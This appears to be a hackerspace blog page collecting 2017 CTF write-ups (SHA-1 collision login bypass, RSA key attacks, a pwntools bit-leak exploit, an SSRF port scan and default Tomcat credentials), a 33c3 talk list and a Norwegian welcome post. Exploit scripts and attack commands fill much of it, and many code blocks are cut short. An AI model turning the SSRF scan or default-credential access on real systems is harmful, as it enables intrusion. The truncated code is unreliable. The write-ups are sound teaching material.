CTF: VolgaCTF VC task

27/03/17 — capitol









We were given two images, both containing black and white noise. A B

Since it’s a crypto challege with low points, we guessed that it’s a simple XOR.

The quickest way to xor two images is with a command line one liner:

convert A.png B.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" C.png

That produced this result: C

Flag: VolgaCTF{Classic_secret_sharing_scheme}

CTF: Shattering Prudentialv2

07/03/17 — capitol









During the Boston Key Party CTF 2017 we also solved the Prudentialv2 task.

We were presented with a simple website that asked us to log in, a peek into the html source showed us a link to what looked like the source code of the backend:

require 'flag.php';

if (isset($_GET['name']) and isset($_GET['password'])) {
    $name = (string)$_GET['name'];
    $password = (string)$_GET['password'];

    if ($name == $password) {
        print 'Your password can not be your name.';
    } else if (sha1($name) === sha1($password)) {
      die('Flag: '.$flag);
    } else {
        print '<p class="alert">Invalid password.</p>';

This might have looked like an impossible challenge, if it wasn’t for the fact that google had released an attack on sha1 a few days prior.

We first tried to url-encode the two pdf’s and upload them as username and password, but the server had a post limit of 8k.

But the effective attack on sha1 is really quite small, so we could use that instead.

One script to generate the username and password files:

#!/usr/bin/env python
# from https://github.com/lxe/shattered/blob/master/shattered.js

import hashlib
a = bytearray([
  0x73, 0x46, 0xdc, 0x91, 0x66, 0xb6, 0x7e, 0x11, 0x8f, 0x02, 0x9a, 0xb6, 0x21, 0xb2, 0x56, 0x0f,
  0xf9, 0xca, 0x67, 0xcc, 0xa8, 0xc7, 0xf8, 0x5b, 0xa8, 0x4c, 0x79, 0x03, 0x0c, 0x2b, 0x3d, 0xe2,
  0x18, 0xf8, 0x6d, 0xb3, 0xa9, 0x09, 0x01, 0xd5, 0xdf, 0x45, 0xc1, 0x4f, 0x26, 0xfe, 0xdf, 0xb3,
  0xdc, 0x38, 0xe9, 0x6a, 0xc2, 0x2f, 0xe7, 0xbd, 0x72, 0x8f, 0x0e, 0x45, 0xbc, 0xe0, 0x46, 0xd2,
  0x3c, 0x57, 0x0f, 0xeb, 0x14, 0x13, 0x98, 0xbb, 0x55, 0x2e, 0xf5, 0xa0, 0xa8, 0x2b, 0xe3, 0x31,
  0xfe, 0xa4, 0x80, 0x37, 0xb8, 0xb5, 0xd7, 0x1f, 0x0e, 0x33, 0x2e, 0xdf, 0x93, 0xac, 0x35, 0x00,
  0xeb, 0x4d, 0xdc, 0x0d, 0xec, 0xc1, 0xa8, 0x64, 0x79, 0x0c, 0x78, 0x2c, 0x76, 0x21, 0x56, 0x60,
  0xdd, 0x30, 0x97, 0x91, 0xd0, 0x6b, 0xd0, 0xaf, 0x3f, 0x98, 0xcd, 0xa4, 0xbc, 0x46, 0x29, 0xb1

b = bytearray([
  0x7f, 0x46, 0xdc, 0x93, 0xa6, 0xb6, 0x7e, 0x01, 0x3b, 0x02, 0x9a, 0xaa, 0x1d, 0xb2, 0x56, 0x0b,
  0x45, 0xca, 0x67, 0xd6, 0x88, 0xc7, 0xf8, 0x4b, 0x8c, 0x4c, 0x79, 0x1f, 0xe0, 0x2b, 0x3d, 0xf6,
  0x14, 0xf8, 0x6d, 0xb1, 0x69, 0x09, 0x01, 0xc5, 0x6b, 0x45, 0xc1, 0x53, 0x0a, 0xfe, 0xdf, 0xb7,
  0x60, 0x38, 0xe9, 0x72, 0x72, 0x2f, 0xe7, 0xad, 0x72, 0x8f, 0x0e, 0x49, 0x04, 0xe0, 0x46, 0xc2,
  0x30, 0x57, 0x0f, 0xe9, 0xd4, 0x13, 0x98, 0xab, 0xe1, 0x2e, 0xf5, 0xbc, 0x94, 0x2b, 0xe3, 0x35,
  0x42, 0xa4, 0x80, 0x2d, 0x98, 0xb5, 0xd7, 0x0f, 0x2a, 0x33, 0x2e, 0xc3, 0x7f, 0xac, 0x35, 0x14,
  0xe7, 0x4d, 0xdc, 0x0f, 0x2c, 0xc1, 0xa8, 0x74, 0xcd, 0x0c, 0x78, 0x30, 0x5a, 0x21, 0x56, 0x64,
  0x61, 0x30, 0x97, 0x89, 0x60, 0x6b, 0xd0, 0xbf, 0x3f, 0x98, 0xcd, 0xa8, 0x04, 0x46, 0x29, 0xa1

prefix= bytearray([
  0x25, 0x50, 0x44, 0x46, 0x2d, 0x31, 0x2e, 0x33, 0x0a, 0x25, 0xe2, 0xe3, 0xcf, 0xd3, 0x0a, 0x0a,
  0x0a, 0x31, 0x20, 0x30, 0x20, 0x6f, 0x62, 0x6a, 0x0a, 0x3c, 0x3c, 0x2f, 0x57, 0x69, 0x64, 0x74,
  0x68, 0x20, 0x32, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x48, 0x65, 0x69, 0x67, 0x68, 0x74, 0x20, 0x33,
  0x20, 0x30, 0x20, 0x52, 0x2f, 0x54, 0x79, 0x70, 0x65, 0x20, 0x34, 0x20, 0x30, 0x20, 0x52, 0x2f,
  0x53, 0x75, 0x62, 0x74, 0x79, 0x70, 0x65, 0x20, 0x35, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x46, 0x69,
  0x6c, 0x74, 0x65, 0x72, 0x20, 0x36, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x43, 0x6f, 0x6c, 0x6f, 0x72,
  0x53, 0x70, 0x61, 0x63, 0x65, 0x20, 0x37, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x4c, 0x65, 0x6e, 0x67,
  0x74, 0x68, 0x20, 0x38, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x42, 0x69, 0x74, 0x73, 0x50, 0x65, 0x72,
  0x43, 0x6f, 0x6d, 0x70, 0x6f, 0x6e, 0x65, 0x6e, 0x74, 0x20, 0x38, 0x3e, 0x3e, 0x0a, 0x73, 0x74,
  0x72, 0x65, 0x61, 0x6d, 0x0a, 0xff, 0xd8, 0xff, 0xfe, 0x00, 0x24, 0x53, 0x48, 0x41, 0x2d, 0x31,
  0x20, 0x69, 0x73, 0x20, 0x64, 0x65, 0x61, 0x64, 0x21, 0x21, 0x21, 0x21, 0x21, 0x85, 0x2f, 0xec,
  0x09, 0x23, 0x39, 0x75, 0x9c, 0x39, 0xb1, 0xa1, 0xc6, 0x3c, 0x4c, 0x97, 0xe1, 0xff, 0xfe, 0x01

s1 = prefix + a
s2 = prefix + b

with open("user.blob", "w") as fp:

with open("pw.blob", "w") as fp:

And one script to upload them to the server and get the flag:

#!/usr/bin/env python

import socket
import urllib

user = open("user.blob").read()
password = open("pw.blob").read()

user = urllib.quote_plus(user)
password = urllib.quote_plus(password)

req = "GET /index.php?name=%s&password=%s HTTP/1.1\r\nHost:\r\n\r\n" % (user, password)

conn = socket.create_connection(("", 80))
print conn.recv(2048)

Flag: FLAG{AfterThursdayWeHadToReduceThePointValue}

Image credit

CTF: Eating a nice RSA buffet

27/02/17 — capitol



RSA Buffet






During the 2017 Boston Key Party we were presented with a very nice buffet of RSA keys to crack.

There where 10 different keys and five of them decrypted five other cipher texts. Any three of those five could be combined with the help of secret sharing to get the flag.

We used four different attacks on RSA in order to retrieve five of the keys.

Brute force to find key 2

One of the primes for key number two was really small, only 2758599203. We could have just used brute force to calculate it, but instead we found it in factordb

Greatest common divisor to find both key 0 and 6

Finding out if two numbers have a common divisor is extremely efficient, it’s done with one of the oldest known algorithms: the Euclidean algorithm.

Comparing all the keys with each other takes no time at all:

    private static void findKey0and6(BigInteger[] keys) {
        for(int i = 0; i < keys.length; i++) {
            for(int j = 0; j < keys.length; j++) {
                if(i == j)

                BigInteger gcd = keys[i].gcd(keys[j]);
                if(gcd.compareTo(BigInteger.ONE) > 0)
                    System.out.println("gcd " + i + ":" + j +" = " + gcd);

We found a reused prime between key 0 and 6.

Fermat’s Factorization Method to find key 1

If the two primes p and q are clustered close to \sqrt{N}, then we can use the fermat factorization method to find them.

This is the implementation that we used:

public class Fermat {

    public static BigInteger factor(BigInteger n) {
        // Fermat's Factorization Method
        BigInteger A = BigMath.sqrt(n);
        BigInteger Bsq = A.multiply(A).subtract(n);
        BigInteger B = BigMath.sqrt(Bsq);
        BigInteger AminusB = A.subtract(B);

        // c is a chosen bound which controls when Fermat stops
        BigInteger c = new BigInteger("30");
        BigInteger AminusB_prev = A.subtract(B).add(c);
        BigInteger result = null;

        while (!BigMath.sqrt(Bsq).pow(2).equals(Bsq) && AminusB_prev.subtract(AminusB).compareTo(c) > -1) {
            A = A.add(BigInteger.ONE);
            Bsq = A.multiply(A).subtract(n);

            B = BigMath.sqrt(Bsq);
            AminusB_prev = AminusB;
            AminusB = A.subtract(B);

        if (BigMath.sqrt(Bsq).pow(2).equals(Bsq)) {
            result = AminusB;

        // Trial Division
        else {
            boolean solved = false;
            BigInteger p = AminusB.add(BigMath.TWO);

            if (p.remainder(BigMath.TWO).intValue() == 0) {
                p = p.add(BigInteger.ONE);
            while (!solved) {
                p = p.subtract(BigMath.TWO);
                if (n.remainder(p).equals(BigInteger.ZERO)) {
                    solved = true;

            result = p;

        return result;
Wiener attack to solve key 3

Key 3 had a really big e, this was a good hint that we could use the wiener attack.

RSA isn’t an algorithm very well suited to run on constrained systems. This has led people to try to speed it up, and one thing that they tried was to have a small d and a large e. Michael J. Wiener was the man who developed an attack against that.

The implementation that we used was this one:

public class WienerAttack {

    //Four ArrayList for finding proper n/d which later on for guessing k/dg
    private List<BigInteger> q = new ArrayList<>();
    private List<Fraction> r = new ArrayList<>();
    private List<BigInteger> n = new ArrayList<>();
    private List<BigInteger> d = new ArrayList<>();

    private BigInteger e;
    private BigInteger N;

    private Fraction kDdg = new Fraction(BigInteger.ZERO, BigInteger.ONE); // k/dg, D means "divide"

    //Constructor for the case using files as inputs for generating e and N
    public WienerAttack(BigInteger e, BigInteger N) throws IOException {
        this.e = e;
        this.N = N;

    public BigInteger attack() {
        int i = 0;
        BigInteger temp1;

        //This loop keeps going unless the privateKey is calculated or no privateKey is generated
        //When no privateKey is generated, temp1 == -1
        while ((temp1 = step(i)) == null) {

        return temp1;

    //Steps follow the paper called "Cryptanalysis of Short RSA Secret Exponents by Michael J. Wiener"
    private BigInteger step(int iteration) {
        if (iteration == 0) {
            //initialization for iteration 0
            Fraction ini = new Fraction(e, N);
        } else if (iteration == 1) {
            //iteration 1
            Fraction temp2 = new Fraction(r.get(0).denominator, r.get(0).numerator);
        } else {
            if (r.get(iteration - 1).numerator.equals(BigInteger.ZERO)) {
                return BigInteger.ONE.negate(); //Finite continued fraction. and no proper privateKey could be generated. Return -1

            //go on calculating n and d for iteration i by using formulas stating on the paper
            Fraction temp3 = new Fraction(r.get(iteration - 1).denominator, r.get(iteration - 1).numerator);
            n.add((q.get(iteration).multiply(n.get(iteration - 1)).add(n.get(iteration - 2))));
            d.add((q.get(iteration).multiply(d.get(iteration - 1)).add(d.get(iteration - 2))));

        //if iteration is even, assign <q0, q1, q2,...,qi+1> to kDdg
        if (iteration % 2 == 0) {
            if (iteration == 0) {
                kDdg = new Fraction(q.get(0).add(BigInteger.ONE), BigInteger.ONE);
            } else {
                kDdg = new Fraction((q.get(iteration).add(BigInteger.ONE)).multiply(n.get(iteration - 1)).add(n.get(iteration - 2)), (q.get(iteration).add(BigInteger.ONE)).multiply(d.get(iteration - 1)).add(d.get(iteration - 2)));

        //if iteration is odd, assign <q0, q1, q2,...,qi> to kDdg
        else {
            kDdg = new Fraction(n.get(iteration), d.get(iteration));

        BigInteger edg = this.e.multiply(kDdg.denominator); //get edg from e * dg

        //dividing edg by k yields a quotient of (p-1)(q-1) and a remainder of g
        BigInteger fy = (new Fraction(this.e, kDdg)).floor();
        BigInteger g = edg.mod(kDdg.numerator);

        //get (p+q)/2 and check whether (p+q)/2 is integer or not
        BigDecimal pAqD2 = (new BigDecimal(this.N.subtract(fy))).add(BigDecimal.ONE).divide(new BigDecimal("2"));
        if (!pAqD2.remainder(BigDecimal.ONE).equals(BigDecimal.ZERO))
            return null;

        //get [(p-q)/2]^2 and check [(p-q)/2]^2 is a perfect square or not
        BigInteger pMqD2s = pAqD2.toBigInteger().pow(2).subtract(N);
        BigInteger pMqD2 = BigMath.sqrt(pMqD2s);
        if (!pMqD2.pow(2).equals(pMqD2s))
            return null;

        //get private key d from edg/eg
        return edg.divide(e.multiply(g));


public class Fraction {
    public BigInteger numerator;
    public BigInteger denominator;

    //Constructor of the Fraction class which initializes the numerator and denominator
    public Fraction(BigInteger paramBigInteger1, BigInteger paramBigInteger2) {
        //find out the gcd of paramBigInteger1 and paramBigInteger2 which is used for ensuring the numerator and denominator are relatively prime
        BigInteger localBigInteger = paramBigInteger1.gcd(paramBigInteger2);

        this.numerator = paramBigInteger1.divide(localBigInteger);
        this.denominator = paramBigInteger2.divide(localBigInteger);

    //Constructor for the case when calculating (paramBigInteger1 /(paramFraction.numerator / paramFraction.denominator))
    public Fraction(BigInteger paramBigInteger, Fraction paramFraction) {
        this.numerator = paramBigInteger.multiply(paramFraction.denominator);
        this.denominator = paramFraction.numerator;
        BigInteger localBigInteger = this.numerator.gcd(this.denominator);
        this.numerator = this.numerator.divide(localBigInteger);
        this.denominator = this.denominator.divide(localBigInteger);

    //Calculate the quotient of this Fraction
    public BigInteger floor() {
        BigDecimal localBigDecimal1 = new BigDecimal(this.numerator);
        BigDecimal localBigDecimal2 = new BigDecimal(this.denominator);
        return localBigDecimal1.divide(localBigDecimal2, 3).toBigInteger();

    //Calculate the remainder of this Fraction and assign the result to form a new Fraction
    public Fraction remainder() {
        BigInteger floor = this.floor();
        BigInteger numeratorNew = this.numerator.subtract(floor.multiply(this.denominator));
        BigInteger denominatorNew = this.denominator;
        return new Fraction(numeratorNew, denominatorNew);

These attacks combined gave us enough plaintext so that we could recover that flag, which was FLAG{ndQzjRpnSP60NgWET6jX}

Image credit

CTF: Solving nullcon crypto question 2

13/02/17 — capitol



Crypto Question 2






The nullcon ctf competition ran this weekend, and the organizers managed to completely give away one of the crypto challenges by giving out a hint that made it trivial.

The problem was given as this image: problem

And the hint that gave the problem away was: Hint 2 : ‘a’ and ‘b’ both are less than 1000

By doing a simple iteration from 0 to 1000 we got two possible answers for both a and b.

        BigInteger q = new BigInteger("541");
        BigInteger g = new BigInteger("10");
        for(int i = 0; i < 1000; i++) {
            BigInteger a = g.modPow(BigInteger.valueOf(i), q);

                System.out.println("a = " + i);

                System.out.println("b = " + i);

gave us the output:

a = 170
b = 268
a = 710
b = 808

And that gave us four possible values for the flag, which was: flag{170,808}

CTF: Solving Leaky Bits

03/02/17 — capitol



Iran - Leaky Bits






The team from xil.se have written a challenge that’s called leaky bits, and as the name implies it’s all about leaking the data that we need, one bit at a time.

Drip, Drop, Drip, Drop.

Play the challenge here: telnet ctf1.xil.se 4500


from pwn import *

context(arch = 'x86_64', os = 'linux')

# reads a byte from the input address
def readbyte(t, addr):
    bits = ""
    for i in range(8):
        t.recvregex('Where do you want to leak\?')
        t.sendline('0x%x %d' % (addr, i))
        bits = t.recvregex('look: \d')[-1] + bits
    return int(bits, 2)

with context.local(log_level='info'):
    tube = remote('ctf1.xil.se', 4500)

    # a quick check with r2 reveals the flag location in the binary
    flag_addr = 0x601050

    bytes = []
    for c in range(30):
        bytes.append(readbyte(tube, flag_addr + c))

    print "\n\nFlag is", "".join([chr(c) for c in bytes]), "\n\n"


Coproduced with the League of Extraordinarily Backward Engineers

CTF: How to break large keys

29/01/17 — capitol



Chad - Big Friendly Key






The next crypto challenge from xil.se is one called “Big Friendly Key”, and is also about RSA. It can be played here: nc ctf1.xil.se 4200

We are presented with a large public key that we need to factorize in order to calculate the private key, and be able to get the flag.

The public key we get is 2466 characters long, so implementing the factorization with Sieve of Eratosthenes and a for loop is not possible. We need to be smarter than that in order to retrieve the factors.

In RSA the public key (often denominated as ‘n’) is the result of multiplying two large primes together (‘p’ and ‘q’). This means that min(p, q) < sqrt(n), and that the primes will be about the same distance from sqrt(n) on the number line.

So if we start the factorization attempt from sqrt(n) instead of from 0, the number of checks we need to do will be smaller, and this turned out to be the key to solving the challenge.


public class App {

    public static void main(String[] args) throws IOException {
        BigInteger n = new BigInteger("416169672835081282998769137494773685438037552023727931365543107088305449322247098366362038692812865577864709412723942223262235657896039670548400775875502028244264086890258015614848039147585802253777721057085933553667884397355523033992420423284512368275620282484094800790255015050756472656528857875999415430288567423780696211101919244912731503020484259003956337445150970055069757551101607907780613344889259107459445808657708831819381883285898284907897313618472636990460629017854905120909079954395786865840376714813786450281041170987118610395891985542340051585428437191463408723549970260034504586057040797250819326016820697616235229363296975478685433918791355651467874485746685099986055301279284955200395776734258332572835932083332856553673655850102559207899227139085205860354580779850684429350768269994299853444422476808708374995020858371165582000842160879753115440201557027979009440356196081610804628948780339914622568740577566087705257452487267706177803860765522414266994340984200477614843276175866858932704564210543652217970461273891796710727593851152911486039926569939900592536340038308452714618150868179181006388336269453119942468050655123824437606190555497689932978735733100729454571569556557771448695435528117859363478476323288338512444882311138112761797930425501220150246154689439030391577355501884478973374616451073759109853746483677174774270766488239603018594423965306557818505255243993124125139257139919436717463399671528187365798314738132565884696713061488284993730692922167364349151035630702440112627149237476193121818350316293630392651858322832247517813373131406421917108857822815534220217972051555808348581966584448065510164481154556002780432710646949488310076918006368654072183058127889013653568505330352570061526436992948530207134330408423688546569615629750532701608383701353461837899262357791597625952593072110698318475020884429832660133752929456719383958651179066074022478732887480285411790448473660710941722415189387461675252239724078742557909692093484138954948275709283080017144368633872142836542025748354826963031206732971747529200698437611832101282505298057318219172294987426573876634241665988827454046578492923496729283920998800756322041408438934304101642860537718379580856109416040521527597372118585064105190092935438199571174655466342465334401702047906278349808648695633798302876948729915991836520484724328030526726201691610370037201026223423773609048447805646265048564126073072591007202942226771180473432116602751135532294757300663257956983", 10);
        BigInteger p = new BigInteger("645112139736248710905676333261885435188347497319853763606697604578494999341572061985503959419410566322310156476156532708370066894108978912704095835570392868833208397928599715227100416938948855617976721706666152059398906196547451371132294976690648179164352468186844510815737678942851859362022890784482847574758980008803674772758843737968522391795799201104385009789468663103248453930536139987565601523421164080780964587877154114977309374691939189662099763103839285673927206638757408747159139589670811906179480473019937352377673319453740094148975105063034183547333008036088441459560427579741536617804393215231569845372627149607952334434949008746580225497230343424268239460690071064167808060147354361356353965259468495036682660405631547021679023005834182430173342276893060574471211477101864674832495896494954808679606105893087511442395500662760257637261789415476874532660163983761982977746084239780846131607316690232497385719313120112203549865788731061699332852564753659818450181160926404440143485191554632425853822187540540330875499721577244724605126385483995297255769250448748603906191835581928447198324376499223489573053014677969815076536504143378050499085751727671555574912614578341849411731846770158151769540347683868871667691460197");
        BigInteger q = new BigInteger("645112139736248710905676333261885435188347497319853763606697604578494999341572061985503959419410566322310156476156532708370066894108978912704095835570392868833208397928599715227100416938948855617976721706666152059398906196547451371132294976690648179164352468186844510815737678942851859362022890784482847574758980008803674772758843737968522391795799201104385009789468663103248453930536139987565601523421164080780964587877154114977309374691939189662099763103839285673927206638757408747159139589670811906179480473019937352377673319453740094148975105063034183547333008036088441459560427579741536617804393215231569845372627149607952334434949008746580225497230343424268239460690071064167808060147354361356353965259468495036682660405631547021679023005834182430173342276893060574471211477101864674832495896494954808679606105893087511442395500662760257637261789415476874532660163983761982977746084239780846131607316690232497385719313120112203549865788731061699332852564753659818450181160926404440143485191554632425853822187540540330875499721577244724605126385483995297255769250448748603906191835581928447198324376499223489573053014677969815076536504143378050499085751727671555574912614578341849411731846770158151769540347683868871667691456939");

        BigInteger e = new BigInteger("65537", 10);

        RSA rsa = new RSA(p, q, e);

        Socket attackTarget = new Socket("ctf1.xil.se", 4200);
        PrintWriter out = new PrintWriter(attackTarget.getOutputStream(), true);
        BufferedReader in = new BufferedReader(new InputStreamReader(attackTarget.getInputStream()));

        Pattern messageP = Pattern.compile(".*'(.*)'.*");

        String in1;
        in1 = in.readLine();
        Matcher m = messageP.matcher(in1);
        out.println(new BigInteger(m.group(1).getBytes(StandardCharsets.ISO_8859_1)).modPow(rsa.getD(), n).toString(16));
        in1 = in.readLine();

        System.out.println("flag: " + new String(new BigInteger(in1.substring(6), 16).modPow(rsa.getD(), rsa.getN()).toByteArray()));

Image credit

CTF: Don't try RSA at home

28/01/17 — capitol



Sudan - RSA is for everyone






Our friends over at xil.se have written some challenges for a ctf named smash the stack at https://ctf.anti-network.org/

The challenge “RSA is for everyone” required you to send and retrieve messages with RSA. Fortunately it is really easy to implement RSA yourself in java (don’t try this at home kids).

The class for getting the RSA primitives looks like this (some code shamelessly stolen from Stack Overflow, like all real programmers do):

public class RSA {
    private final BigInteger p;
    private final BigInteger q;
    private final BigInteger n;
    private final BigInteger d;
    private final BigInteger e;

    public RSA() {
        int SIZE = 512;

        /* Step 1: Select two large prime numbers. Say p and q. */
        p = new BigInteger(SIZE, 15, new Random());
        q = new BigInteger(SIZE, 15, new Random());

        /* Step 2: Calculate n = p.q */
        n = p.multiply(q);

        /* Step 3: Calculate ø(n) = (p - 1).(q - 1) */
        BigInteger phiN = p.subtract(BigInteger.valueOf(1));
        phiN = phiN.multiply(q.subtract(BigInteger.valueOf(1)));

        BigInteger eTmp;
        /* Step 4: Find e such that gcd(e, ø(n)) = 1 ; 1 < e < ø(n) */
        do {
            eTmp = new BigInteger(2 * SIZE, new Random());
        } while ((eTmp.compareTo(phiN) != 1) || (eTmp.gcd(phiN).compareTo(BigInteger.valueOf(1)) != 0));
        e = eTmp;

        /* Step 5: Calculate d such that e.d = 1 (mod ø(n)) */
        d = e.modInverse(phiN);

    public BigInteger getP() {
        return p;

    public BigInteger getQ() {
        return q;

    public BigInteger getN() {
        return n;

    public BigInteger getD() {
        return d;

    public BigInteger getE() {
        return e;

With that in hand it was easy to respond to the questions in the challenge.


public class App {

    public static void main(String[] args) throws IOException {
        Socket attackTarget = new Socket("ctf1.xil.se", 4300);
        PrintWriter out = new PrintWriter(attackTarget.getOutputStream(), true);
        BufferedReader in = new BufferedReader(new InputStreamReader(attackTarget.getInputStream()));

        BigInteger n;
        BigInteger e;
        RSA rsa = new RSA();

        String in1;
        in1 = in.readLine();
        n = new BigInteger(in1.substring(2));
        in1 = in.readLine();
        e = new BigInteger(in1.substring(2));
        out.println(new BigInteger("RSA is for everyone".getBytes(StandardCharsets.ISO_8859_1)).modPow(e, n).toString(16));
        in1 = in.readLine();

        System.out.println("flag: " + new String(new BigInteger(in1, 16).modPow(rsa.getD(), rsa.getN()).toByteArray()));

CTF: Solving smarttomcat challenge from Insomnihack Teaser 2017

23/01/17 — capitol







The Insomni’hack teaser 2017 was a fun CTF with a good spread between easy and hard challenges.

The smarttomcat challenge was an easy web challenge that was about attacking a badly secured tomcat server, as a user you where presented with a webpage that had an backend written in php, that backend called a tomcat server on localhost.

When looking at the form post data from the browser it became apparant that the url that the backend called was submitted by the form.

This enabled us to write a port scan as a simple bash loop:

for x in $(seq 1 65535); do echo $x >> /tmp/log && curl 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data "u=http%3A%2F%2Flocalhost%3A$x%2F" >> /tmp/log;done

This didn’t really help us. And we realized that we could access the tomcat management url on the same port as the rest of the application. A simple google gave us the default username and password.


curl 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data 'u=http://tomcat:tomcat@'

CTF: A channel side door problem

17/01/17 — capitol


We have discovered another door problem that needs to be solved, can any of you refrieve the flag that is stored behind this side door.

telnet 2220


telnet 2a02:ed06::2033 12346

Happy hacking!

CTF: Our lost door combination

14/01/17 — capitol


We seems to have lost the code to one of our doors, could any of you amazing hackers help us open it with your hacking skills and get the flag?

telnet 2221


telnet 2a02:ed06::2033 12345

Happy hacking!

33c3: talks round-up

07/01/17 — fnords

All Computers Are Broken

‘Twas that most wonderful time of the year: CCC congress time!! 12000+ hackers from all over the planet were gathered in Hamburg for four days of glorious haxx, workshops, meetups, ctfs, raves, mainlining club mate……. and attending some talks along the way.

Here is a few fnords personal favourites from this year:

Lockpicking in the IoT It’s not really a hacker congress unless there is some lockpicking going on. Its fun to use BTLE for evil!

Where in the World Is Carmen Sandiego? I didn’t get to see this at the congress, but it was reccomended to me by several other people and I put it on my watch list. If you’ve ever booked a trip somewhere (or put a picture of your boarding card on instagram….protip: don’t do that), this talk is for you!

Keys of Fury The abstract for this talk mentioned teletext and then I knew I had to watch it. Best quote: “You really need to like it, because it takes forever”. More KYBDslöjd plz!

You can -j REJECT but you can not hide: Global scanning of the IPv6 Internet For all you ipv6 heads out there!

Shut Up and Take My Money! FinTech security and how to not do it right.

You can find all the talks from 33c3 here, go check them out!

Fyrst post!

02/01/17 — Jan Banan

Er året 2017, velkommen! Er det mye senere enn det, beklager!

Ingenting er så trist som en forlatt blogg, og det er mange av dem, men det er i tillegg mange gode. Et sted må man begynne, og det er her. Denne bloggen er her for at folk på Hackeriet kan skrive om hva de holder på med eller tenker på, under sitt eget eller et påfunnet navn.

Språk er valgfritt, men jeg håper på en del norsk for det